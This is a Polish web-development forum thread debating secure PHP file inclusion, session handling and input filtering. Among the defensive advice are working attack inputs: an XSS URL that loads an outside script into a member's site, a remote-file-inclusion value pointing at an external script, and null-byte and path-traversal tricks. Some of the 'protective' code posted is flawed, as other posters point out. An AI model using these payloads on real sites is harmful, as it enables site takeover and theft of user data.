Napisany przez: radex_p 6.05.2007, 15:52:45

Cytat(Kicok @ 4.05.2007, 16:49:27 ) *
1.
  1. <?php
  2. $id = $_GET['id'];
  3. include('/strony/' . $id . '.php');
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=../index.php strona się zapętli (będzie wczytywała samą siebie) a zużycie procesora skoczy do 100%. Może nawet uda się w ten sposób zwiesić system lub wywalić serwer www - nie wiem, nie znam się, w każdym bądź razie jest to skutek niepożądany.

Przy odpowiednich zabezpieczeniach serwer sam się uchroni:P I nie chodzi o same zabezpieczenia skryptu, ale niektóre serwery logują ip, i przy zbyt dużych "wejściach" serwer automatycznie blokuje skrypt/ip. No ale są bardziej wyrafinowane sposoby na spowodowanie ataku DoS (albo DDoS)

Napisany przez: peen 31.05.2007, 02:52:48

hmm... trochę tu śmietnik... zgubiłem się gdzieś na 3-4 stronie tongue.gif

ale właściwie chodzi mi tylko o jedno... test skryptu logującego... jego oczywiście nie podam ale jeśli byłby ktoś tak miły to proszę o jego przełamanie(na pewno się da ... tak myślę tongue.gif)

poza logowaniem proszę o znalezienie błędów... wszystkich możliwych jakby ktoś miał trochę czasu i chęci smile.gif

adres http://www.peen.yoyo.pl

PS czuje się jakbym popełniał samobójstwo tongue.gif guitar.gif (modli sie: oby nie złamał tego jakiś zwykły PHP coder tongue.gif)

----------------

jeśli pobieram "dzial" metodą get i wewnątrz skryptu wstawiam prefix "./" oraz sufix w postaci rozszerzenia...(którego raczej staram się nie zdradzić) to w jakim stopniu zabezpieczam skrypt przed niepowołanymi danymi/skryptami?(wiem że o tym było trochę ale się pogubiłem trochę bardziej :/)

co mi grozi jeśli nie ograniczam długości loginu i hasła w skrypcie do logowania? jeśli nie ograniczam też możliwości używania tagów html itp itd....
(konkretny przykład wpisanych danych... najlepiej od razu sprawdzony w skrypcie na stronie wyżej:P)

jak bezpieczne są zmienne przechowywane w $_SESSION? czy jeśli przechowuje w nich login i hasło(forma md5) to jest to w miarę dobre rozwiązanie czy lepiej na prostych stronach unikać przechowywania loginu i hasła w ogóle(wprowadzanie loginu i hasła tylko na potrzeby konkretnego skryptu np. dodającego wpis na stronkę)?

czy coś jeszcze chcę wiedzieć.... -myśli--myśli--myśli... chyba na razie nie tongue.gif

Napisany przez: bełdzio 31.05.2007, 18:53:07

http://www.peen.yoyo.pl/index.php?id=%3Cscript%20src=http://www.cerio.pl/xss.js%20/%3E%3C/script%3E


ad1. Null byte attack
ad2. nic jeśli później nie wyświetlasz danych przekazanych przez usera
ad3. średnio bezpieczne smile.gif zależy czy używasz tylko "gołej" tablicy $_SESSION i session_start czy też innych ficzerów ;-)

Napisany przez: peen 1.06.2007, 12:28:42

ad boo. hmm... spróbuj zrobić tak żeby nie wywaliło braku strony tongue.gif bo właściwie to co zrobiłeś to nie błąd tylko taka jest nazwa strony której szukałeś tongue.gif:P(nadaje sie do zabezpieczeń w microsofcie tongue.gif:P)

ad1. hmmm jakoś się poprawi... ekhm a właściwie jak wygląda ten typ ataku tongue.gif(to jest coś z ../../../ itd?tongue.gif)

hmm

ad3. czy $_SESSION jest tak bezpieczne jak komputer i połączenie między klientem a serwerem? jeśli użyje https ... to jest jeden z tych ficzerow? domyślam się że w tablicy nie powinienem goło trzymać nazw pól "login" "pass" tylko jakieś identyfikatory(może zaszyfrowane haha.gif) trudne do odgadnięcia a każda wartość szyfrowana? tongue.gif:P

PS hmm sorki za zabezpieczenia ogólne w dziale php tongue.gif

EDIT:

poprawiam poprawiam... usuwam podpuchę z pokazywaniem błędnego działu... robie listę dozwolonych działów... ale z tymi ficzerami to jeszcze będę musiał troche popracować bo w manualu PHP niewiele jest o sesjach...(albo nie umiem szukać) więc google się odwiedzi tongue.gif

Napisany przez: bełdzio 1.06.2007, 14:14:53

ad ad boo, to jest błąd i tyle, co za problem przejechac stringa np strip_tags?

ad ad 1/ %00 kończy stringa czyli katalog/plik.php%00.html = katalog/plik.php

ad ad3. ficzery = session.use_only_cookies + session_regenerate_id + session_save_path etc ;-)

Napisany przez: peen 1.06.2007, 18:47:30

ad ad ad 1 tongue.gif

wpisuje nazwę innego pliku znajdującego się w katalogu... + %00
teoretycznie wg tego co mówisz powinno mi się wyświetlić a wyświetlić a wyświetla się znany ci już błąd
"Strony "(ukryta nazwa pliku)\0" nie znaleziono."

hmm... jestem po prostu głupi i nie potrafię zrobić włamu na własną stronę haha.gif

ad ad ad boo poprawione... ale pewnie dalej gdzieś jest dziura tongue.gif

ad ad ad 3 ehh to głębszy temat... z czasem się dopracuje tongue.gif

PS wiesz po prostu przeczytam sobie troche na twojej stronce tongue.gif i na innych temu podobnych tongue.gif

Napisany przez: bmL 5.09.2007, 21:06:27

Czytam i czytam i już dobre pół godziny czytam i nie wydaje mi się żeby dało się coś złego zrobić z takim skryptem:

  1. <?php
  2. $plik = http://www.php.net/basename($_GET[plik])
  3.  
  4. if($plik != $_GET[plik])
  5. http://www.php.net/echo '1337?';
  6. else
  7. {
  8. if(http://www.php.net/file_exists($plik.php)
  9.  include($plik.'php')
  10. else
  11.  include("strona_glowna.php")
  12. }
  13. ?>

Nie można includować pliku z innego katalogu z innego serwera czy też z dysku twardego...
Wiem dobrze, że includowanie któregokolwiek pliku z tego katalogu w którym znajduje się index nic złego nie zdziała...
Więc, pod jakim względem jest ten skrypt niebezpieczny bo nie mogę się doczytać tongue.gif

Napisany przez: Sedziwoj 5.09.2007, 22:41:49

po pierwsze ten skrypt nie działa
po drugie zamiast file_exists() a is_file().
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

A właśnie zdałem sobie sprawę, że u mnie takie coś już nie wystąpi <lol> Ech to OOP, jednak ma jakieś plusy winksmiley.jpg

Napisany przez: bmL 6.09.2007, 15:01:46

Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
po pierwsze ten skrypt nie działa

Faktycznie zgubiłem dwa ";" i nie domknąłem jednego nawiasu. Powinno być tak:
  1. <?php
  2. $plik = http://www.php.net/basename($_GET[plik]);
  3.  
  4. if($plik != $_GET[plik])
  5. http://www.php.net/echo '1337?';
  6. else
  7. {
  8. if(http://www.php.net/file_exists($plik.php))
  9.  include($plik.'php');
  10. else
  11.  include("strona_glowna.php");
  12. }
  13. ?>


Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
po drugie zamiast file_exists() a is_file().

Dzięki przyda się :]
Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

Też dobre rozwiązanie :]

Więc czy da się zrobić jakiś włam na aplikację opartą o taką funkcję (basename czy też dozwolenie znaków "a-z" + może "_" i "-") ?
Chyba prawdopodobnie pewnie raczej zapewne na pewno nie sciana.gif

Napisany przez: potreb 27.09.2007, 13:11:06

Poruszacie tutaj temat łączenia stron, a jak sie ma bezpieczeństwo co do wykonywania jakich zapytań lub wysyłania formularzy. Albo ochrona przed spam botami.

Jak pewnego razu boty zaatakowały moją stronę to, nie mogłem się od nich odpędzić. Tak więc dodałem tokena, ale i to nie pomogło w końcu pomyślałem że dodają skrypty przez jakiegoś exploita napisanego specjalnie dla mojej strony. No i w shoutboxie i katalogu stron zastosowałem funkcje eregi. Jeżeli w tekscie wystepuje słowo "url", lub "http" to wtedy odrzuca formularz. Myślę że to jest dobre rozwiązanie, bo wiele spambotów działa podobnie, zapełniają pola text podobnymi tekstami.

Napisany przez: bełdzio 27.09.2007, 19:32:22

co do plików => http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow.freez
co do spamu => http://www.beldzio.com/walka-ze-spambotami.freez

Napisany przez: consto 18.10.2007, 20:27:50

Witam wszystkich ...

Temat bezpiecznego podpinania pików jest dość ciekawy i chyba rozwiązań jest tyle ile programistów.

Ja stosuję takie rozwiązanie i chyba całkiem dobre, które jednocześnie spełnia rolę maskowania adresu (dobre jeśli jakiś serwer nie obsługuje mod-rewrite).

adresy wyglądają tak:

http://domena.pl/index.php?podstronka,1,jakieś_dane,kolejne,...

oczywiście zamiast "," można dać dowolny inny znak




Kod

<?php



1.     $katalog=array(1=>"nazwa_katalogu_jeden", "następna_nazwa_katalogu", ........);
2.   if(eregi("^[a-zA-Z0-9,]+$",$_SERVER["QUERY_STRING"])) {            
3.     $adres = explode(',',$_SERVER["QUERY_STRING"]);          
4.       $plik_name         = $adres[0];                                          
5.       $katalog_name   =  $adres[1];                                        
6.       $adres_name     = $katalog_name.'/'.$plik_name.'.php';
7.  if ($plik_name<>''){                                                                  
8.  if (file_exists( $adres_name)){                                                
9.       require(" $adres_name'");}                                                
10.   else {require("strona_error.php");}                                            
11. }
12. else {require("strona_error.php");}
13. }
14. else {require("strona_głowna.php");}                                      

?>



Na początek sprawdzam czy w url-u (po znaku"?") nie ma "zakazanych" znaków ... url może zawierać tylko małe i duże litery alfabetu bez polskich znaków, liczby 0-9 oraz "," ... pozostałe znaki są uznawane jako próba "włamania" smile.gif
Kolejny etap to tworzenie z " ?podstronka,1, jakieś_dane ,kolejne,... " tablicy o nazwie $adres.
Przypisanie zmiennym $plik_name = $adres[0]; (nazwa pliku do podpięcia), $katalog_name = $adres[1]; (id katalogu z tablicy $katalog) i $adres_name (czyli gotowy adres do pliku). Teraz sprawdzam, czy zmienna z nazwą pliku zawiera jakieś dane(można to zrobić wcześniej ... rzecz gustu). W końcu sprawdzam, czy plik o takiej nazwie istnieje w danym katalogu. Jeśli tak to podpinam plik, a jeśli nie to podpinam podstronę z komunikatem błędu (z możliwością dopisania IP i nazwy przeglądarki usera do bazy i po np. 5 próbach wpisania błędnego adresu zablokowanie IP na określony czas)

Kolejne numery, czyli: $adres[2], $adres[3], ... , $adres[X], to poprostu zmienne, które już są przefiltrowane i można bezpiecznie użyć ich w skryptach bez stosowania metody $_GET['zmienna'].

Można jeszcze dodać sprawdzanie domeny, czy przypadkiem podstrona nie jest wywoływana z pod innego adresu niż adres naszego serwera.

Jeśli ktoś ma pomysły na ulepszenie mojej wersji to bardzo proszę ... może wspólnie uda się stworzyć coś naprawdę dobrego smile.gif

Napisany przez: marcio 27.10.2007, 23:59:19

czytalem juz ten temat kilka razy i teraz przeczytalem na nowo na php nie znam sie dobze bo robie duzo bledow ale duzo ludzi pisze ze taki kod jest bezpieczny

  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(http://www.php.net/file_exists($file)) {
  4. include $file;
  5. } else {
  6. http://www.php.net/echo 'Błąd 404';
  7. }
  8. ?>

lecz wedlug mnie nie jest on bezpieczny poniewaz
1)nie sprawdzamy czy sa to cufry w przypadku id artu czy user'a lub czy sa tylko litery
2)jesli na servie magic_quotes = off to jest null byte poinson i w zaleznosci co sie uzylo czy include czy fopen
3)tu jest LFI. RFI nie ma bo sprawdzamy czy dany plik isnieje na serverze lecz juz cos takiego
  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(http://www.php.net/file_exists($file)) {
  4. include http://www.php.net/basename($file);
  5. } else {
  6. http://www.php.net/echo 'Błąd 404';
  7. }
  8. ?>

jest bezpieczne jesli plik ktory includujemy jest przynajmniej 2 katalogi wyzej dobrze mowie czy nie??Ja i tak jestem zwolennikiem uzuwania switch'a lub if'ow :D

Napisany przez: gladiror 18.12.2007, 22:18:10

  1. <?php
  2. $file=$_GET['id'].'.php';
  3. if(http://www.php.net/file_exists($file)) {
  4. include $file;
  5. } else {
  6. http://www.php.net/echo 'Błąd 404';
  7. }
  8. ?>


Pewnie, że to jest niebezpieczne. Wystarczy za zmienna id wstawić:
  1. <?php
  2. $_GET['id'] = 'http://niebezpiecznastrona.pl/niebezpieczny_skrypt';
  3. ?>


i już masz ciekawą sytuację winksmiley.jpg

Napisany przez: bełdzio 18.12.2007, 23:20:17

@marcio check this http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow.freez

Napisany przez: Brick 26.02.2008, 12:18:17

Chciałbym zwrócić uwagę na jedną rzecz związaną z zapisywaniem identyfikatora i praw dostępu użytkownika do sesji.
Często robi się tak, że po zalogowaniu użytkownika, dane takie jak jego ID oraz jego uprawnienia są zapisywane do sesji. Widziałem wiele razy takie rozwiązania.
Przykładowo:
Zalogowany user: "Kazek", ID=50, ma uprawnienia "administrator serwisu"

Wszystko jest dobrze, tylko gdy np. szef firmy dowie się że Kazek właśnie siedzi w domu przy komputerze i chce ukraść wszystkie dane to nic nie może z tym zrobić. Gdy zmieni mu uprawnienia, zablokuje lub usunie konto, to dopóki Kazek jest zalogowany może robić co chce.

Rozwiązanie jest oczywiście proste, tj zanim skrypty php cokolwiek zrobią, jakiś skrypt sprawdzający pobiera z bazy danych informacje o zalogowanym użytkowniku. Sprawdza czy taki user istnieje, czy nie ma zablokowanego konta oraz jaki ma poziom. W wypadku gdy coś się nie zgadza, blokuje dostęp do wszystkiego i kasuje sesje.

W tym wypadku jedyne co trzeba zapisać do sesji to ID usera bo reszta jest i tak pobierana z bazy.

Poprawcie mnie jeżeli się mylę.

Napisany przez: Kocurro 26.02.2008, 12:22:11

Na tym polega odpowiednie zaprogramowanie autentykacji (uwierzytelniania) i autoryzacji.

Chociaż wiele osób o tym zapomina smile.gif

Do tego dobrze jest zawsze sesje mieć przechowywane w bazie danych - dzięki temu zawsze można wymusić akcję na zalogowanej osobie winksmiley.jpg

pozdr.

Napisany przez: mike 26.02.2008, 12:33:51

Wrzucenie uprawnień do sesji ma na celu dwie rzeczy:
1. Możliwość wyświetlania opcji zależnych od uprawnień wymaga informacji o wszystkich uprawnieniach użytkownika;
2. Pobieranie drzewa uprawnień podczas każdego żądania byłoby bez sensu.

Jeśli chodzi natomiast o reakcję na zmianę uprawnień dla użytkownika, którego sesja właśnie trwa to nie ma żadnego problemu.
Kwestią jest to że przed każdą operację powinno sprawdzać się szczegółową funkcję, która właśnie jest używana.

Przykładowo: Jeśli komuś wyświetlił się przycisk usuń to nie znaczy, że coś się usunie po kliknięciu weń.

Napisany przez: Kocurro 26.02.2008, 13:09:40

Rozwijając moją poprzednią wypowiedź:

Sesje trzymam w bazie, oprócz standardowych kolumn: SID, Dane, Czas ... mam kolumny: Uzytkownik_ID, Odswiez ...

Gdy użytkownik traci dostęp zmieniam Uzytkownik_ID na wartosc 0 ... a gdy tylko zmieniam uprawnienia to Odswiez przyjmuje wartosc true ... i przy następnym przejściu odświeżam wszystkie dane typu tego gdzie Odśwież jest na true winksmiley.jpg

Jak do tej pory nie miałem problemów z tym, że kogoś wyciąłem a on dalej grzebał mi smile.gif

pozdr.

Napisany przez: Sedziwoj 8.03.2008, 15:36:36

Cytat(mike @ 26.02.2008, 12:33:51 ) *
2. Pobieranie drzewa uprawnień podczas każdego żądania byłoby bez sensu.


Dlatego przy każdym otworzeniu strony można by było sprawdzić datę ostatniej modyfikacji i porównać z sesją. Czas działania skryptu jest na tyle mały, że nie ma sensu przy wywoływaniu każdej czynności sprawdzać.
Oczywiście można też zrzucić na bazę logowanie, a wtedy przy zmianie danych automatycznie by się odnowiły dane o poziomie dostępu, tylko byśmy pobierali te już raz "sklejone" dane.

Mimo wszystko duża część stron nie wymaga takiego zabezpieczenia, bo jak z praw dostępu korzysta jedna osoba, to nie ma sensu sprawdzanie ich po zalogowaniu, nikt ich nie odbierze.

Napisany przez: Jarod 8.03.2008, 19:57:03

Ja uprawnienia pobieram tylko podczas logowania, natomiast przed każdym wywołaniem akcji, kontroler (wykorzystuje do tego napisaną klasę ACL) sprawdza czy użytkownik może daną akcję wywołać. Automatycznie też sprawdzane jest, czy maksymalny czas nieaktywności nie został przekroczony (za to odpowiada handler sesji) - jeśli tak, user zostaje przekierowany na stronę logowania.


Pozdrawiam

Napisany przez: MajareQ 20.03.2008, 11:31:19

Może wrócę do bezpieczeństwa bezpośredniego...
Oto kod zebezpieczający przed wieloma atakami...
nalezy go umieścić przed wszystkimi innymi skryptami...

  1. <?php
  2. if (!http://www.php.net/get_magic_quotes_gpc())
  3. {
  4. function gpc_value($value)
  5. {
  6. if (http://www.php.net/is_array($value))
  7. {
  8. $value = http://www.php.net/array_map('gpc_value', $value);
  9. }
  10. else
  11. {
  12. $value = http://www.php.net/addslashes($value);
  13. }
  14. return $value;
  15. }
  16.  
  17. if (!http://www.php.net/empty($_GET))
  18. {
  19. $_GET = gpc_value($_GET);
  20. }
  21.  
  22. if (!http://www.php.net/empty($_POST))
  23. {
  24. $_POST = gpc_value($_POST);
  25. }
  26.  
  27. if (!http://www.php.net/empty($_COOKIE))
  28. {
  29. $_COOKIE = gpc_value($_COOKIE);
  30. }
  31. }
  32. ?>

Napisany przez: bełdzio 20.03.2008, 13:49:52

Cytat(MajareQ @ 20.03.2008, 11:31:19 ) *
Oto kod zebezpieczający przed wieloma atakami...

np jakimi?

Napisany przez: MajareQ 20.03.2008, 13:55:00

Wszystkimi dotyczącymi formularzy, ciastek, SQL icjection etc.

a ten zabezpiecza przed Session Fixation i Session Hijacking

Kod
if (!isset($_SESSION['inicjuj']))
        {
                session_regenerate_id();
                $_SESSION['inicjuj'] = true;
                $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
        }
        
        
        if($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR'])
        {
                die('Proba przejecia sesji udaremniona!');      
        }

Napisany przez: sopel 20.03.2008, 14:33:59

@MajareQ, poczytaj trochę więcej o bezpieczeństwie, a potem dopiero nas uraczaj cudownymi uniwersalnymi skryptami zabezpieczającymi, ok?questionmark.gif

co do drugiego skryptu, wyobraź sobie sytuacje, w której jesteśmy w tej samej sieci lokalnej (na zewnątrz mamy to samo IP), rozpoczyam sesję i daję ci linka. zapobiegłeś session fixation? (nie mówiąc o tym, że ograniczyłeś dostęp ludziom, których ip może się zmieniać w czasie połączenia).

Napisany przez: kszychu 20.03.2008, 16:29:23

Cytat(Jarod @ 20.03.2008, 16:16:24 ) *
W tym temacie wszystko zostało już powiedziane.

W kwestiach bezpieczeństwa taka sytuacja nie istnieje. Co jakiś czas pojawiają się nowe ataki i nowe metody zapobiegania im.
Cytat(Jarod @ 20.03.2008, 16:16:24 ) *
Mam propozycje dla moderatora aby usunął te kilka ostatnich postów aby nie robił się burdel w tym topicu.
pzdr

Mam propozycję dla osób z zacięciem moderatorskim; powstrzymajcie się od takich postów. Zamiast tego używajcie odpowiedniego przycisku, w celu zgłoszenia moderatorom jakiegoś nadużycia.
Adwersarzy proszę o jedynie wypowiedzi merytoryczne, bez osobistych "przytyczek".

Napisany przez: Jarod 20.03.2008, 17:22:07

Cytat(kszychu @ 20.03.2008, 16:29:23 ) *
W kwestiach bezpieczeństwa taka sytuacja nie istnieje. Co jakiś czas pojawiają się nowe ataki i nowe metody zapobiegania im.

Zgadza się, ale kolega nie napisał nic co ni byłoby już poruszane na tym forum. Poza tym odbieram jego posta jako próbę wymuszenia oceny jego "rozwiązania", a w tym celu mógł napisać nowego posta z prośbą o ocenę a nie klepać w przyklejonym temacie. Teaty przyklejone powinny zawierać konkretne informacje a nie dyskusje ciągnące się na x-stron (chyba że są to ciekawe i przydatne informacje).

Cytat(kszychu @ 20.03.2008, 16:29:23 ) *
Mam propozycję dla osób z zacięciem moderatorskim; powstrzymajcie się od takich postów. Zamiast tego używajcie odpowiedniego przycisku, w celu zgłoszenia moderatorom jakiegoś nadużycia.

Oprócz tego użyłem przycisku "Raportuj", prosiłem o usunięcie kliku ostatnich postów - w tym także mojego.

pzdr

Napisany przez: cool_solar 21.03.2008, 19:55:05

Cytat(Wave @ 21.05.2005, 11:06:00 ) *
strip_tags();
htmlspecialchars();


zaobserwowałem, że zastosowanie funkcji striptags powoduje nieprawidłowe działanie dla plików zawierających na przykład jakieś matematyczne wyliczenia i znaki mniejszości i większkości, wywalane są nie tylko znaczniki HTML ale również tekst; nie wiem tylko czy jest to błąd konkretnej wersji php czy też ogólnie złe działanie funkcji

Napisany przez: Sedziwoj 21.03.2008, 20:37:51

@cool_solar
Raczej brak zrozumienia działania funkcji. Pomyśl poczytaj, a znajdziesz odpowiedź.

Napisany przez: MajareQ 21.03.2008, 22:59:42

Cytat(sopel @ 20.03.2008, 14:33:59 ) *
@MajareQ, poczytaj trochę więcej o bezpieczeństwie, a potem dopiero nas uraczaj cudownymi uniwersalnymi skryptami zabezpieczającymi, ok?questionmark.gif

co do drugiego skryptu, wyobraź sobie sytuacje, w której jesteśmy w tej samej sieci lokalnej (na zewnątrz mamy to samo IP), rozpoczyam sesję i daję ci linka. zapobiegłeś session fixation? (nie mówiąc o tym, że ograniczyłeś dostęp ludziom, których ip może się zmieniać w czasie połączenia).


Czy ja powiedziałem, że to jest uniwersalny kod? Nie rozumiesz kodu co podałem?
---
Bardziej widzą problem w dynamicznych IP.

A tak BTW to zabezpieczeniem przed atakami GET jest m.in:

  1. <?php
  2. $id = $_GET['id'];
  3. if (http://www.php.net/is_numeric($id)) {
  4. // kod dalszy
  5. } else {
  6. http://www.php.net/echo'Nie kombinuj!';
  7. }
  8. ?>

Napisany przez: Xniver 21.03.2008, 23:12:16

Znowu Ameryki nie odkryłeś tongue.gif. Poza tym lepiej już użyć is_int(po co przy ID float?), rzutowania(int) lub napisać jakąś klase do tego, np. w swoim frameworku mam tak:

  1. <?php
  2. $id = XF::getRequest()->getInteger('id', 0, Request::POST); // Klucz, wartosć domyślna, typ(POST, cookie, server)
  3. ?>

Napisany przez: bełdzio 22.03.2008, 13:08:30

Cytat(MajareQ @ 20.03.2008, 13:55:00 ) *
Wszystkimi dotyczącymi formularzy, ciastek, SQL icjection etc.

nie wydaje mi się :-) a dlaczego nie zostało juz powiedziane pare stron wcześniej

Napisany przez: MajareQ 22.03.2008, 16:27:33

ten kod zamienia znaki

Kod
'

i
Kod
"

na
Kod
\'

i
Kod
\"


Zatem zabezpiecza, bo blokuje np. zapytania SQL z GEt.

Napisany przez: bełdzio 23.03.2008, 12:34:09

Cytat(MajareQ @ 22.03.2008, 16:27:33 ) *
ten kod zamienia znaki

Zatem zabezpiecza, bo blokuje np. zapytania SQL z GEt.

1. Twój światopogląd ogranicza się do mySQL, nie w każdym systemie db znak "\" jest znakiem ucieczki
2. skoro addslaashes broni przed SQLi to po co powstała funkcja mysql_real_escape_string ? dla fazy?

Napisany przez: MajareQ 23.03.2008, 15:10:13

Czy ja napisałem ze to zabezpieczy przed wszystkim?

W PHP można to zrobić, poprzez wykonanie na każdym tekstowym parametrze wykorzystywanym do budowy zapytania wbudowanej funkcji addslashes(), która dodaje backslash przed znakami, takimi jak ', " czy \, dzięki czemu znaki te nie są traktowane jak znaki specjalne. Dostępne są również funkcje specyficzne dla poszczególnych silników, takie jak np. oferowana przez serwer MySQL mysql_real_escape_string().
To robi moja funkcja.

Napisany przez: Sedziwoj 23.03.2008, 20:24:03

@MajareQ

Kombinujesz, a nic nowego nie piszesz. Po co zabezpieczać ciągi znaków i zamieniać " na \", gdy to ma trafić do pliku. Zabezpiecza się i kontroluje tak jak to tego wymaga.
Do budowy zapytań używa się specjalnych funkcji, bo jak MySQL ma \' to PgSQL czy MSSQL (jeśli dobrze pamiętam) ma '' (podwójny) a tamto \' rozwali kwerendę.
Do sprawdzania integer lepiej użyć takiego sprawdzenia, czy jest dany parametr, czy nie jest pusty, a potem ctype_digit() bo w ciągu nie może być nic oprócz cyfr. Bo jak rzutujemy to będzie nie to co chcemy, nie wykryjemy błędnego parametru, tylko wyświetlimy dla np. id = 0.

Ale to wszystko było, przeczytaj i dopisz jak czegoś będzie brakować, a nie powtarzaj to co już jest.

Napisany przez: kiamil 6.09.2008, 10:01:15

Cytat(NuLL @ 5.06.2006, 02:40:06 ) *
Podziele sie z Wami moim pomyslem jak ja zalatwiam prawie wszystko roboty tego typu w swoich projektach.

Jest formularz
  1. <http://december.com/html/4/element/input.html type='text' name='a3ol5m3in5klnw_name'>

To takie smieszne w nazwie to losowy string - generowany md5 na bazie czasu. Zapisuje sie go w sesji. User wysyla i sie wyciaga z POST wszystkie pola porownujac z tym co jest w sesji zapisane - cos ala token doklejony do nazwy pola. I tyle biggrin.gif

Roboty wysylajace spam np. na blogi dzialaja na bazie znajomosci nazw pol formularza oraz adresow - bo tak dziala np. CURL - taki prosty patch rozwala wiekszosc na lopatki biggrin.gif Jesli nie ma sesji tzn ze ktos cos majstruje winksmiley.jpg


A jednak.. Nie jestem w 100% pewny ale wysylajac mozna ustawic nazwe tego pola na "a_name" i zmienna sesyjna tez na "a_name" - a wtedy już to zabezpieczenie nei działa..

Napisany przez: Lejto 25.10.2008, 10:03:54

Znalazłem w sieci ciekawą stroną z materiałami video związanymi z atakami na strony internetowe

http://www.uw-team.org/index.php?id=videoarty

Na filmach między innymi:

Wstęp do ataków typu SQL Injection
Atak SQL Injection z użyciem Union Select
SQL Injection - union select + komentowanie kodu
SQL Injection - wykrywanie struktury bazy danych
Blind SQL Injection - odgadywanie haseł po znaku
Błędy w użyciu funkcji include()
Includowanie kodu PHP z innego serwera
Session Poisoning - zatruwanie sesji PHP
XSS - Cross Site Scripting
SQL Injection - dopisywanie danych do bazy
XSS - metody zaawansowane
PHP - Register Globals
PHP - baza userów w pliku TXT

i pare innych...

Napisany przez: renderman 9.11.2008, 19:18:47

Witam wszystkich,

Po przeczytaniu całego tematu wzdłuż i w szerz mam wrażenie że już nic nie wiem. Wiele sposobów cała masa kodu który dla każdego kto to czyta chyba wprawia w zawrót głowy. Czy znalazło by się chociaż kilka osób które w prosty i nie zagmatwany, możliwie dobrze skomentowany sposób przedstawiłyby jak poprawnie stworzyc prosty i za razem "bezpieczny' szkielet strony i może umiescilyby to jako przypięty temat... tylko prosiłbym by wypowiedział się ktoś naprawde dobrze obeznany z tematem.

Zakładam schemat w którym za pomocą wywołania o postaci:

  1. http://moja_strona.pl/index.php?m2=grafika2d


powoduje wygenerowanie strony według: ( tak to obecnie działa na mojej stronie )

  1. <?php if(http://www.php.net/empty($_GET['m2']) or $_GET['m2']=="portfolio_menu_0"){include("portfolio_menu_0.php");}
  2. if($_GET['m2']=="grafika2d")   {include("portfolio_menu_1.php"); }
  3. if($_GET['m2']=="grafika3d")   {include("portfolio_menu_2.php"); }
  4. if($_GET['m2']=="cv")            {include("portfolio_menu_3.php"); }
  5. if($_GET['m2']=="blog")          {include("portfolio_menu_4.php"); }
  6. ?>


Może na bazie tego ktoś przedstawilby warianty zabezpieczenia ( + ) i ( - ) danego rozwiązania ? To dośc proste ale myśle ze wielu początkujacych z pewnoscią będzie szukac wlasnie tego.

Napisany przez: bełdzio 9.11.2008, 19:29:12

jeśli chodzi o inkludowanie plików zerknij tu -> http://www.beldzio.com/bezpieczenstwo-dostepu-do-plikow

Napisany przez: renderman 9.11.2008, 19:48:17

Szczerze mimo że widze jakies sensowne rozwiązania dla mnie jako poczatkujacego nawet implementacja tego w wlasnym kodzie jest trudna. Zapewne 100 podobnych do mnie osob przegladajac rozne rozwiaznia dojdzie do tego samego wniosku. Można odbic piłeczke i powiedziec... - ucz się dalej, ale z bezpieczeństwem nie ma żartów. Nie chcialbym osobiscie by jakis haker z mlekiem pod nosem rozwalił cała strone a nie daj boże serwer tylko dla tego że moj kod nie był do końca bezpieczny. To co zamieściłem w poprzednim poscie jest juz tak oklepanym tematem na wszystkich forach a mimo to nikt nie zebrał sie ( mowie tu o tych co znaja to na wylot i wiedzą co z tym zrobic ) by pokazac reszcie jak to powinno byc poprawnie krok po kroku.

Napisany przez: gladiror 9.11.2008, 21:16:43

Ogólnie mówiąc niby zasada jest prosta: "To co podaje lub może w jakiś sposób zmodyfikować użytkownik trzeba przefiltrować"... Dochodzą do tego elementy jakości napisanego kodu (czytaj: dużo doświadczenia). Nie liczcie, że od razu będziecie super administratorami swoich serwisów, ale warto pamiętać o tej zasadzie, którą napisałem powyżej. Chodzi tutaj w szczeególności o tablice POST, GET, COOKIES, SESSION, REQUEST czy SERVER. Cookolwiek jest wyświetlane na stronie lub pakowane do jakiejś bazy i te informacje są podane lub mogą być w jakiś sposób podane przez użytkownika trzeba do przefiltrować.

Napisany przez: renderman 9.11.2008, 21:36:06

Gdzies obiło mi się o uszy... lepiej iśc w frameworka niż tworzyc wszystko od podstaw. Zakładam jednak że nie chce frameworka dlatego że:

1: strone czesto da się zrobic duzo prosciej i nie konieczny jest do tego cały silnik jak joomla tylko po to by uzyc jednej funkcji.
2. cała masa komplikacji, zmian, aktualizacji.

Chcialbym znaleźc proste rozwiaznie dla prostej strony bez udziwnień, byle by bylo bezpiecznie przy pomocy np w.w. includów . Jak to będę w stanie ogarnac to wtedy mozna myslec o dalszej nauce i rozwijaniu takiej strony.. Wole zrobic mniej niż zrobic źle..
Może ktos zaproponuje inne lepsze rozwiazanie od mojego?

Napisany przez: mlattari 1.03.2009, 17:24:14

Ja piszę przeważnie wszystko w edytorze nano :-) Ale jeżeli mam kilka tysięcy linijek to przechodzę na Notepada ++ :-)) Po zapisaniu w Notepadzie ++ takie duże pliki wyglądają później chaotycznie w nano czy pico :-)

Ale pozostając bardziej w temacie to mam pytanie dotyczące zmiennych $_SESSION. Czy użytkownik serwisu www może w jakiś prosty sposób dostać się do zawartości tych zmiennych a jeżeli tak to czy może je w jakiś sposób zmienić zakładając, że używamy np. standardowych ciasteczek.

np. jeżeli mamy $_SESSION[uprawnienia_admina]='NIE' to czy ktoś mógłby się do tego dostać i ustawić na 'TAK' questionmark.gif

Napisany przez: erix 1.03.2009, 17:57:30

Jeśli masz babola w skrypcie, to tak.

Można również edytować plik sesji, jeśli serwer jest "zabezpieczony" (dane sesji, to domyślnie zserializowana tablica zapisywana w pliku znajdującym się we współdzielonym folderze).

Napisany przez: bełdzio 1.03.2009, 18:08:44

Cytat(mlattari @ 1.03.2009, 17:24:14 ) *
Czy użytkownik serwisu www może w jakiś prosty sposób dostać się do zawartości tych zmiennych

http://www.beldzio.com/bezpieczenstwo-mechanizmu-sesji

Napisany przez: mlattari 2.03.2009, 17:51:59

